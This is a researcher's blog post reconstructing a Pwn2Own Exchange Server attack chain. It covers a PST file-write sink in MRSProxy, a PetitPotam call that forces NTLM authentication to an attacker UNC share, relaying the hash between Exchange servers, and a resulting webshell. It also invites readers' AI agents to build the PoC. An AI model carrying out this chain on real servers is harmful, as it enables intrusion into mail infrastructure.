August 13, 2026
Hunting Exchange Server 0day like a detective
It has been a while since my last blog post, not because I didn’t do anything (or I?), I just don’t have any time/ any motivation to start…
By Jang
6 min read
It has been a while since my last blog post, not because I didn't do anything (or I?), I just don't have any time/ any motivation to start new blog post.
The raise of AI is painfully killing the vuln research community industry. Most of medium-quality 0-day are easily found by AI in oneshot. And other novel 0day, art of exploit are also found by the assist of frontier model.
0day or CVE now is just a number.
With just a single prompt, you get a new vulnerability, then what?
Submit these to vendor, waiting for a month for the first reply, next 3 months to get in the queue, and another 3 months to get noticed that it's duplicated by another AI slop guy?
What's the point of all these?
For real world use case, we used AI to find many 0day during the internal red team. We don't even know if it was an 0day, 1day or anything known before yet. This saves us lot of time for each campaign!
So frankly, we — the vuln researcher are all fucked up!
For the blog post, honestly I've lost the motivation to write. Cause I know that most readers are now AI agents ¯_(ツ)_/¯, what's the point of writing it manually? Why not using AI to generate a content that will be read by AI?
The ease of new vuln discovery also wipe out the fun to search for it!
.
.
.
.
Too many trash talk, let start the blog post!
.
.
.
#The bug
While looking at the schedule of this year pwn2own, I wasn't supprised that there was an entry of MS Exchange, and multiple entries for SharePoint. The only thing supprises me is the vuln only exists in the version using at p2o. Where can I find a SP SE instance in the real world?
After the competition, same like many people, we are curious by the performance of Orange Tsai, so we (actually only my colleague) started to dig in!
And not so long after that, in 2 days, with the assists of Claude Opus 4.6 (when they still speak English), my colleague was able to pop calc in the latest version of Exchange Server SE!
We will start the journey from bottom up, following by the ZDI's youtube short of Exchange Entry.
Although most of information related to the vuln has already been censored, but we still got some clue:
Focus at this photo, we have these information:
- Why not reverse shell?
- Why the censored response is abnormally large like that?
- Why
low_priv_attacker? - Why
ex01.exchangelab.local?
By answering these questions, we may have finished 80% of the mystery surrounding this 0day!
- Why no reverse shell? Why large response?
Based on my past experiences with Exchange Server vuln, most of direct RCE path are gone. MS has been trying to minimize the .NET Deserialization usage, restricted most of existing deserialize entrypoint.
So yeah, because of that, we may not be able to directly execute code!
And for the large response, in the past, we already had an experience with the PST export trick, which let us create a polygot pst file, and drop that to Exchange Server (refer to the ProxyShell analysis here: https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1).
The webshell generated by this trick will have a large response, which the same as our situation!
But the thing is, New-MailboxExportRequest has already been patched, it only allows the extensions of: .pst, .eml, .ost
=> So if the bug is really the PST export trick, there should be another place that also has the ability to export PST file, not New-MailboxExportRequest
That's enough for us to go …
What do you think? Yeah, just feed above to your AI agent, forbidden it from accessing the Aug patch tuesday, and the result may surprise you :).
Here what we got from the Codex response:
Microsoft.Exchange.PST.PSTSession.Open() method also has ability to write PST file without any restriction of file extensions:
The callstack to this sink:
MailboxReplicationProxyService.IMailbox_ConfigPst(handle, attackerPath)
> PstDestinationMailbox.ConfigPst(attackerPath) // => set dest file path
MailboxReplicationProxyService.IMailbox_Connect()
> PstMailbox.Connect()
>> PSTSession.Open() // => file writeMailboxReplicationProxyService.IMailbox_ConfigPst(handle, attackerPath)
> PstDestinationMailbox.ConfigPst(attackerPath) // => set dest file path
MailboxReplicationProxyService.IMailbox_Connect()
> PstMailbox.Connect()
>> PSTSession.Open() // => file writeThe MailboxReplicationProxyService A.K.A MRSProxy is running independent from IIS, it's served via the MSExchangeMailboxReplication.exe process. This process is running with System privileged!
MRSProxy is the remote WCF interface exposed by this service.
This allow other Exchange components or other Exchange server to create mailbox-provider objects and operate on them remotely. It exposes these services via WCF:
[ServiceContract(SessionMode = SessionMode.Required)]
internal interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId,
Guid primaryMailboxGuid,
Guid physicalMailboxGuid,
string filePath,
byte[] partitionHint,
Guid mdbGuid,
string mdbName,
MailboxType mbxType,
int proxyControlFlags,
int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// truncated ...
}[ServiceContract(SessionMode = SessionMode.Required)]
internal interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId,
Guid primaryMailboxGuid,
Guid physicalMailboxGuid,
string filePath,
byte[] partitionHint,
Guid mdbGuid,
string mdbName,
MailboxType mbxType,
int proxyControlFlags,
int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// truncated ...
}An easy to spot entrypoint of MRSProxy is /EWS/MRSProxy.svc
This endpoint is hosted behind IIS and manage by Exchange CAFE, which has been harden for the hash relay attack since 2022.
Another entrypoint can be spot via MSExchangeMailboxReplication.exe.config
<service
name="Microsoft.Exchange.MailboxReplicationService.MailboxReplicationProxyService"
behaviorConfiguration="MrsProxyServiceBehavior">
<endpoint
address="https://localhost/Microsoft.Exchange.MailboxReplicationService.ProxyService"
binding="customBinding"
bindingConfiguration="MrsProxyHttpsBinding"
contract="Microsoft.Exchange.MailboxReplicationService.IMailboxReplicationProxyService" />
</service><service
name="Microsoft.Exchange.MailboxReplicationService.MailboxReplicationProxyService"
behaviorConfiguration="MrsProxyServiceBehavior">
<endpoint
address="https://localhost/Microsoft.Exchange.MailboxReplicationService.ProxyService"
binding="customBinding"
bindingConfiguration="MrsProxyHttpsBinding"
contract="Microsoft.Exchange.MailboxReplicationService.IMailboxReplicationProxyService" />
</service>The corresponding binding is:
<binding name="MrsProxyHttpsBinding"
receiveTimeout="00:22:00">
<!-- truncated -->
<httpsTransport
authenticationScheme="Negotiate" <= [1]
maxReceivedMessageSize="100000000" />
</binding><binding name="MrsProxyHttpsBinding"
receiveTimeout="00:22:00">
<!-- truncated -->
<httpsTransport
authenticationScheme="Negotiate" <= [1]
maxReceivedMessageSize="100000000" />
</binding>So, this endpoint is not hosted by IIS, it directly exposed via HTTP.sys.
We can use this command to check the existence of that:
netsh http show servicestatenetsh http show servicestate
A remote unauthenticated request can reach this endpoint directly:
For the authentication part, we know that Exchange exposes MRSProxy through two different HTTPS paths:
- /EWS/MRSProxy.svc
- /Microsoft.Exchange.MailboxReplicationService.ProxyService
- For /EWS/MRSProxy.svc, it has two protections:
MRSProxyEnabledproperty control whether EWS can forward MRSProxy to backend, and based on my setup, I saw it's disabled by default!- The Exchange Extended Protection mitigation => which protect /ews from the ntlm relay attack!
So if we want to go through this path, we have to find a novel-like auth bypass, which is almost impossible for last 4 years!
- For the second endpoint:
/Microsoft.Exchange.MailboxReplicationService.ProxyService, look at the service config at [1], we can see that, this endpoint uses Windows Negotiate auth.
And because it goes directly through the HTTP.sys, no further EAP will be applied to this auth part!
But not so fast …
It doesn't mean that any user can authenticate to this endpoint!
Look closer at MRSProxyAuthorizationManager.GetPrincipal(), it first receives the identity established by HTTP.sys
IAuthenticationInfo authenticationInfo =
base.Authenticate(operationContext);
WindowsIdentity windowsIdentity =
authenticationInfo.WindowsPrincipal.Identity as WindowsIdentity;IAuthenticationInfo authenticationInfo =
base.Authenticate(operationContext);
WindowsIdentity windowsIdentity =
authenticationInfo.WindowsPrincipal.Identity as WindowsIdentity;Then, peforms the Exchange-specific authorization check:
using (ClientSecurityContext clientContext =
new ClientSecurityContext(windowsIdentity))
{
if (!LocalServer.AllowsTokenSerializationBy(clientContext))
{
return null;
}
}using (ClientSecurityContext clientContext =
new ClientSecurityContext(windowsIdentity))
{
if (!LocalServer.AllowsTokenSerializationBy(clientContext))
{
return null;
}
}AllowsTokenSerializationBy() check whether the connecting identity has this Exchange extended right:
ms-Exch-EPI-Token-Serializationms-Exch-EPI-Token-SerializationIn Exchange Server setup, only Exchange server machine accounts get this right!
So in short, this endpoint supposed to be used internally for Exchange servers only!
…
Then what? We need to find another NTLM auth bypass?
…
This is where the remaining questions give us some idea!
- Why low_priv_attacker?
- Why using the FQDN ex01.exchangelab.local for target?
The most plausible hypothesis to answer this question is:
The attacker sits inside the network, especially inside a domain-joined PC!
To confirm this hypothesis, we can ask Codex to confirm that (sorry but the time writing this, we've already lost access to Anthropics CVP so we can do nothing now, and Claude also talks too much now).
And we really got something useful here: MS-EFSR via Windows RPC, also widely known as the PetitPotam trick.
By using this, we can connect to a Exchange Server (for example: EX01) and call EfsRpcEncryptFileSrv():
EfsRpcEncryptFileSrv(
FileName = "\\attacker\share\whatever"
)EfsRpcEncryptFileSrv(
FileName = "\\attacker\share\whatever"
)Which will force Exchange Server to connect to attacker's UNC path, and authenticate using machine account!
We don't even need to crack this hash. As we know that the /Microsoft.Exchange.MailboxReplicationService.ProxyService endpoint didn't have any hardened authentication mechanism.
So the answer is quite simple, just capture the hash of EX02 and relay to EX01 MRSProxy, like this:
This one works only for multiple Exchange servers setup because the captured hash cannot be relayed to itself!
I was surprised
And .. that's all,
It requires lot of non-realistic conditions to be exploited in the real world:
- Why would someone allow Exchange Server make outbound connection?
- Why would someone allow the connection to Exchange on port 445, 139, 3389, … from domain users?
- …
But yeah, who know ¯_(ツ)_/¯.
So, for the defensive guys, don't be panic!
PoC:
For ready-to-play PoC, just feed this blog to your AI agents. :) It would know what to do next!
Thanks for reading!
by Jang & Mugmug of MB VRED